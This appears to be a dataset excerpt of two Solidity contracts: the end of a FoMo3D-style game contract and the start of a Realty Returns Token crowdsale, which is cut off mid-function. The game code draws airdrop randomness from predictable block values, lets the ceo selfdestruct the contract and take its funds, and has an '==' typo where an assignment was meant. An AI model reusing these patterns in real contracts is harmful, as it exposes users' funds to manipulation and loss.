function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 7500000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
}
else
{
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
}
else if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000)
{
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
}
else if (_eth >= 100000000000000000 && _eth < 1000000000000000000)
{
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(55)) / 100;
uint256 _com = (_pot / 20);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
_com = _com.add(_p3d);
cfo.transfer(_com);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _com = _eth / 20;
uint256 _aff = _eth / 10;
if (_team == 0 ) {
_aff = _eth.mul(30) / 100;
}
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_com = _com.add(_aff);
}
cfo.transfer(_com);
return(_eventData_);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 20);
airDropPot_ = airDropPot_.add(_air);
if (_team == 0){
_eth = _eth.sub(((_eth.mul(40)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
}else{
_eth = _eth.sub(((_eth.mul(20)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
}
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require( msg.sender == ceo, "ONLY ceo CAN activate" );
require(activated_ == false, "Already Activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
function disable()
public
{
require( msg.sender == ceo, "ONLY ceo" );
selfdestruct(ceo);
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcLong {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(31250000000000000000000000000)).add(56249882812561035156250000000000000000000000000000000000000000000000)).sqrt()).sub(7499992187500000000000000000000000)) / (15625000000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((7812500000).mul(_keys.sq()).add((7499992187500000).mul(_keys.mul(1000000000000000000)))) / ((1000000000000000000).sq()) ;
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "Invalid Length");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "Can NOT start with SPACE");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "CAN NOT Start With 0x");
require(_temp[1] != 0x58, "CAN NOT Start With 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"Include Illegal Characters!"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20,
"ONLY One Space Allowed");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "All Numbers Not Allowed");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "Mul Failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "Sub Failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "Add Failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
} | 0 | 1,980 |
pragma solidity 0.4.24;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeERC20 {
function safeTransfer(
ERC20Basic _token,
address _to,
uint256 _value
)
internal
{
require(_token.transfer(_to, _value));
}
function safeTransferFrom(
ERC20 _token,
address _from,
address _to,
uint256 _value
)
internal
{
require(_token.transferFrom(_from, _to, _value));
}
function safeApprove(
ERC20 _token,
address _spender,
uint256 _value
)
internal
{
require(_token.approve(_spender, _value));
}
}
contract Crowdsale {
using SafeMath for uint256;
using SafeERC20 for ERC20;
ERC20 public token;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
constructor(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
token.safeTransfer(_beneficiary, _tokenAmount);
}
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
constructor(uint256 _openingTime, uint256 _closingTime) public {
require(_openingTime >= block.timestamp);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
onlyWhileOpen
{
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract FinalizableCrowdsale is Ownable, TimedCrowdsale {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() public onlyOwner {
require(!isFinalized);
require(hasClosed());
finalization();
emit Finalized();
isFinalized = true;
}
function finalization() internal {
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
public
hasMintPermission
canMint
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() public onlyOwner canMint returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract MintedCrowdsale is Crowdsale {
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
require(MintableToken(address(token)).mint(_beneficiary, _tokenAmount));
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
contract RealtyReturnsTokenInterface {
function paused() public;
function unpause() public;
function finishMinting() public returns (bool);
}
contract PausableToken is StandardToken, Pausable {
function transfer(
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract RealtyReturnsToken is PausableToken, MintableToken {
string public constant name = "Realty Returns Token";
string public constant symbol = "RRT";
uint8 public constant decimals = 18;
constructor() public {
pause();
}
}
contract LockTokenAllocation is Ownable {
using SafeMath for uint;
uint256 public unlockedAt;
uint256 public canSelfDestruct;
uint256 public tokensCreated;
uint256 public allocatedTokens;
uint256 public totalLockTokenAllocation;
mapping (address => uint256) public lockedAllocations;
ERC20 public RR;
constructor
(
ERC20 _token,
uint256 _unlockedAt,
uint256 _canSelfDestruct,
uint256 _totalLockTokenAllocation
)
public
{
require(_token != address(0));
RR = ERC20(_token);
unlockedAt = _unlockedAt;
canSelfDestruct = _canSelfDestruct;
totalLockTokenAllocation = _totalLockTokenAllocation;
}
function addLockTokenAllocation(address beneficiary, uint256 allocationValue)
external
onlyOwner
returns(bool)
